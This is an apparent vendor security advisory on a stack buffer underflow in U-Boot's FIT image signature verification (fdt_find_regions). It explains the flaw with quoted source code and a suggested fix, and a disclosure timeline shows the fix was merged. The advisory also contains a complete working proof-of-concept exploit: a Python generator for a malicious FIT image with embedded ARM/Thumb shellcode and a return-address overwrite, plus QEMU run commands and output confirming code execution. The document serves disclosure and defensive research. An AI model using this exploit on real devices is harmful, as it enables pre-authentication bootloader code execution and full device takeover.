Stack buffer underflow in U-Boot during FIT image signature verification in `fdt_find_regions`
BINARLY REsearch team has discovered a stack buffer underflow vulnerability in U-Boot during the FIT image signature verification process, allowing a potential attacker to execute arbitrary code in the context of the bootloader.
Image preview
Potential Impact
An attacker can exploit this vulnerability to achieve pre-authentication code execution in the context of the bootloader, which could lead to full control over the device.
Image preview
Vulnerability Information
- BINARLY internal vulnerability identifier: BRLY-2026-038
- BINARLY calculated CVSS v3.1: 6.8 Medium AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Image preview
Affected U-Boot versions
U-Boot v2026.04: https://github.com/u-boot/u-boot/archive/refs/tags/v2026.04.tar.gz.
NOTE: The vulnerability was also confirmed to be present in the latest U-Boot commit on the master branch at the time of reporting (https://github.com/u-boot/u-boot/tree/38dbe637c9dfcadbd1bc201bfbb27f96b2ad525a).
Image preview
Vulnerability description
fdt_get_name in scripts/dtc/libfdt/fdt_ro.c can return a null pointer. This happens when the fdt_ro_probe_ or fdt_check_node_offset_ check fails, as well as when the !can_assume(LATEST) && fdt_version(fdt) < 0x10 condition is true and the FDT node name doesn't contain the '/' character:
const char *fdt_get_name(const void *fdt, int nodeoffset, int *len)
{
const struct fdt_node_header *nh = fdt_offset_ptr_(fdt, nodeoffset);
const char *nameptr;
int err;
if (((err = fdt_ro_probe_(fdt)) < 0)
|| ((err = fdt_check_node_offset_(fdt, nodeoffset)) < 0))
goto fail;
nameptr = nh->name;
if (!can_assume(LATEST) && fdt_version(fdt) < 0x10) {
/*
* For old FDT versions, match the naming conventions of V16:
* give only the leaf name (after all /). The actual tree
* contents are loosely checked.
*/
const char *leaf;
leaf = strrchr(nameptr, '/');
if (leaf == NULL) {
err = -FDT_ERR_BADSTRUCTURE;
goto fail;
}
nameptr = leaf+1;
}
if (len)
*len = strlen(nameptr);
return nameptr;
fail:
if (len)
*len = err;
return NULL;
}
The fdt_get_name function is used in fdt_find_regions in boot/fdt_region.c:
int fdt_find_regions(const void *fdt, char * const inc[], int inc_count,
char * const exc_prop[], int exc_prop_count,
struct fdt_region region[], int max_regions,
char *path, int path_len, int add_string_tab)
{
int stack[FDT_MAX_DEPTH] = { 0 };
char *end;
int nextoffset = 0;
uint32_t tag;
int count = 0;
int start = -1;
int depth = -1;
int want = 0;
int base = fdt_off_dt_struct(fdt);
bool expect_end = false;
end = path;
*end = '\0';
do {
const struct fdt_property *prop;
const char *name;
const char *str;
int include = 0;
int stop_at = 0;
int offset;
int len;
offset = nextoffset;
tag = fdt_next_tag(fdt, offset, &nextoffset);
stop_at = nextoffset;
/* If we see two root nodes, something is wrong */
if (expect_end && tag != FDT_END)
return -FDT_ERR_BADLAYOUT;
switch (tag) {
case FDT_PROP:
include = want >= 2;
stop_at = offset;
prop = fdt_get_property_by_offset(fdt, offset, NULL);
str = fdt_string(fdt, fdt32_to_cpu(prop->nameoff));
if (!str)
return -FDT_ERR_BADSTRUCTURE;
if (str_in_list(str, exc_prop, exc_prop_count))
include = 0;
break;
case FDT_NOP:
include = want >= 2;
stop_at = offset;
break;
case FDT_BEGIN_NODE:
depth++;
if (depth == FDT_MAX_DEPTH)
return -FDT_ERR_BADSTRUCTURE;
name = fdt_get_name(fdt, offset, &len);
/* The root node must have an empty name */
if (!depth && *name)
return -FDT_ERR_BADLAYOUT;
if (end - path + 2 + len >= path_len)
return -FDT_ERR_NOSPACE;
if (end != path + 1)
*end++ = '/';
strcpy(end, name);
end += len;
stack[depth] = want;
if (want == 1)
stop_at = offset;
if (str_in_list(path, inc, inc_count))
want = 2;
else if (want)
want--;
else
stop_at = offset;
include = want;
break;
...
There is no check that the value returned by fdt_get_name is not null, which leads to a null pointer dereference (at *name and strcpy(end, name)) and a potential stack overflow of end buffer. However, if the strcpy call succeeds, the subsequent end += len; decreases the end pointer, since len is set to the negative error code returned by fdt_get_name. As a result, the next iteration of the loop writes data to a stack location before the start of the path buffer, which can be used to overwrite the return address of the fdt_find_regions function and achieve code execution in the context of the bootloader. This attack is possible when the page at address 0x0 is mapped, which is common for embedded devices – so the strcpy call doesn't fail.
Image preview
Steps for exploitation
The attack will be demonstrated on the qemu_arm_defconfig configuration of U-Boot, built with the arm-linux-gnueabihf- toolchain and emulated in QEMU.
Build U-Boot with qemu_arm_defconfig configuration:
make qemu_arm_defconfig
make -j"$(nproc)" CROSS_COMPILE=arm-linux-gnueabihf-
Use the following script to generate a POC FIT image and minimal keyblob DTB to trigger the vulnerability:
#!/usr/bin/env python3
import io
import os
import struct
import sys
TRIGGER_COUNT = 54 # Enough to overwrite the return address of `fdt_find_regions`
FDT_MAGIC = 0xD00DFEED
FDT_VERSION = 15 # legacy v<16 path in fdt_get_name
FDT_COMP_VERS = 2
FDT_BEGIN_NODE = 1
FDT_END_NODE = 2
FDT_PROP = 3
FDT_END = 9
HDR_SIZE = 40
RSV_SIZE = 16
def be32(x):
return struct.pack(">I", x & 0xFFFFFFFF)
def pad4(n):
return (n + 3) & ~3
class StringTable:
def __init__(self):
self.buf = bytearray()
self.idx = {}
def add(self, s):
if s in self.idx:
return self.idx[s]
off = len(self.buf)
self.idx[s] = off
self.buf.extend(s.encode("ascii") + b"\x00")
return off
def bytes(self):
return bytes(self.buf)
def begin(out, name):
out.write(be32(FDT_BEGIN_NODE))
b = name.encode("ascii") + b"\x00"
out.write(b + b"\x00" * (pad4(len(b)) - len(b)))
def end(out):
out.write(be32(FDT_END_NODE))
def prop(out, st, name, value):
out.write(be32(FDT_PROP))
out.write(be32(len(value)))
out.write(be32(st.add(name)))
out.write(value + b"\x00" * (pad4(len(value)) - len(value)))
def build(path):
st = StringTable()
body = io.BytesIO()
# / - root, name "/" so legacy fdt_get_name resolves to leaf="" cleanly.
begin(body, "/")
# /images/i/hash - minimum image with one hash subnode.
begin(body, "/images")
begin(body, "/images/i")
begin(body, "/images/i/hash")
end(body) # /images/i/hash
end(body) # /images/i
# TRIGGER_COUNT × non-/ named subnodes - each one fires the
# legacy v<16 NULL-strcpy and shifts end backward by 10 bytes.
for n in range(TRIGGER_COUNT):
begin(body, f"c{n:03d}") # name has no '/' - strrchr fails
end(body)
# First payload node
body.write(be32(FDT_BEGIN_NODE))
raw_name = (
b"/images/"
+ b"A" * 8 # padding to reach the return address of `fdt_find_regions`
+ b"\xb0\x59\x56\x7e" # new return address for `fdt_find_regions`
+ b"\x04\xf0\x1f\xe5" # enter the thumb mode
+ b"\xb9\x59\x56\x7e"
+ b"\x02\xe0" # jump to the second payload location
+ b"\x00"
)
body.write(raw_name + b"\x00" * (pad4(len(raw_name)) - len(raw_name)))
end(body) # first payload
# Second payload node
body.write(be32(FDT_BEGIN_NODE))
raw_name = (
b"/i/t/"
+ b"AAAAA" # padding for memory alignment
+ b"\x02\xa0" # move the location of the message to r0
+ b"\x48\xf2\xd0\x7c" # load the address of puts into r12
+ b"\xc7\xf6\x6f\x7c"
+ b"\xe0\x47" # call puts
+ b"\n[BRLY]\n" # the message to print
)
body.write(raw_name + b"\x00" * (pad4(len(raw_name)) - len(raw_name)))
end(body) # payload 2
# Open nodes to trigger `if (depth == FDT_MAX_DEPTH)` for early return
for n in range(32):
begin(body, "/")
# Close nodes
for n in range(32):
end(body)
end(body) # /images
# /configurations skeleton - required by fit_config_check_sig's
# precondition checks
begin(body, "/configurations")
prop(body, st, "default", b"c\x00")
begin(body, "/configurations/c")
prop(body, st, "k", b"i\x00")
begin(body, "/configurations/c/signature1234")
prop(body, st, "algo", b"sha1,rsa2048\x00")
prop(body, st, "value", b"\x00\x00\x00\x00")
end(body) # signature1234
end(body) # c
end(body) # configurations
end(body) # root
body.write(be32(FDT_END))
struct_bytes = body.getvalue()
strings_bytes = st.bytes()
off_mem_rsvmap = HDR_SIZE
off_dt_struct = HDR_SIZE + RSV_SIZE
off_dt_strings = off_dt_struct + len(struct_bytes)
totalsize = off_dt_strings + len(strings_bytes)
header = b"".join(
[
be32(FDT_MAGIC),
be32(totalsize),
be32(off_dt_struct),
be32(off_dt_strings),
be32(off_mem_rsvmap),
be32(FDT_VERSION),
be32(FDT_COMP_VERS),
be32(0),
be32(len(strings_bytes)),
be32(len(struct_bytes)),
]
)
assert len(header) == HDR_SIZE
rsv = b"\x00" * RSV_SIZE
with open(path, "wb") as f:
f.write(header)
f.write(rsv)
f.write(struct_bytes)
f.write(strings_bytes)
print(f"[fitgen] header size={HDR_SIZE}")
print(f"[fitgen] mem_rsvmap size={RSV_SIZE}")
print(f"[fitgen] struct size={len(struct_bytes)}")
print(f"[fitgen] strings size={len(strings_bytes)} ({strings_bytes!r})")
print(f"[fitgen] header version = {FDT_VERSION}")
print(f"[fitgen] TRIGGER_COUNT = {TRIGGER_COUNT}")
print(f"[fitgen] totalsize = {totalsize:#x} ({totalsize} bytes)")
print(f"[fitgen] wrote {os.path.getsize(path)} bytes to {path}")
def build_keyblob(path):
st = StringTable()
body = io.BytesIO()
begin(body, "")
begin(body, "signature")
begin(body, "key-prod")
prop(body, st, "required", b"conf\x00")
prop(body, st, "algo", b"sha1,rsa2048\x00")
end(body)
end(body)
end(body)
body.write(be32(FDT_END))
struct_bytes = body.getvalue()
strings_bytes = st.bytes()
off_dt_struct = HDR_SIZE + RSV_SIZE
off_dt_strings = off_dt_struct + len(struct_bytes)
totalsize = off_dt_strings + len(strings_bytes)
header = b"".join(
[
be32(FDT_MAGIC),
be32(totalsize),
be32(off_dt_struct),
be32(off_dt_strings),
be32(HDR_SIZE),
be32(17),
be32(16),
be32(0),
be32(len(strings_bytes)),
be32(len(struct_bytes)),
]
)
with open(path, "wb") as f:
f.write(header)
f.write(b"\x00" * RSV_SIZE)
f.write(struct_bytes)
f.write(strings_bytes)
print(f"[keyblob] wrote {os.path.getsize(path)} bytes to {path}")
if __name__ == "__main__":
fit = sys.argv[1] if len(sys.argv) > 1 else "poc.fit"
key = sys.argv[2] if len(sys.argv) > 2 else "keyblob.dtb"
build(fit)
build_keyblob(key)
Start the QEMU emulation with the generated FIT image and keyblob DTB and trigger the vulnerability:
qemu-system-arm -M virt -m 1G -cpu cortex-a15 \
-nographic -no-reboot -bios u-boot.bin \
-device loader,file=poc.fit,addr=0x60000000 \
-device loader,file=keyblob.dtb,addr=0x50000000
...
=> fdt addr 0x60000000
Working FDT set to 60000000
=> fdt checksign 0x50000000
sha1,rsa2048:<NULL>
[BRLY]
data abort
pc : [<7e565a68>] lr : [<7f7102f8>]
reloc pc : [<fee9da68>] lr : [<000482f8>]
sp : 7e565950 ip : 7e688008 fp : 41414141
r10: 41414141 r9 : 7e687e90 r8 : 2f000000
r7 : 0000002f r6 : 00000030 r5 : 00000000 r4 : 000001e0
r3 : 00000001 r2 : 00000dd0 r1 : 00000000 r0 : 000000bc
Flags: nzcv IRQs off FIQs off Mode SVC_32
Code: 600000b8 7e565afc 00b82fb0 60000000 (2f565acc)
Resetting CPU ...
You can see that the message [BRLY] is printed, which confirms that the code execution is achieved in the context of the bootloader. After that, the boot process crashes with a data abort when trying to execute the next instruction after the payload, which also confirms that the stack is corrupted.
Image preview
How to fix it
Ensure that the value returned by fdt_get_name is not null before dereferencing. Also check that the value of len is not negative before using it.
Image preview
Disclosure timeline
This bug is subject to a 90 day disclosure deadline. After 90 days elapsed or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public.
| Disclosure Activity | Date (YYYY-mm-dd) |
|---|---|
U-Boot maintainers are notified | 2026-05-20 |
U-Boot maintainers merged the fix patch | 2026-06-13 |
BINARLY public disclosure date | 2026-07-01 |
Image preview
Acknowledgements
Image preview
See if you are impacted now with our Firmware Vulnerability Scanner
Find Vulnerabilities, Generate SBOMs & CBOMs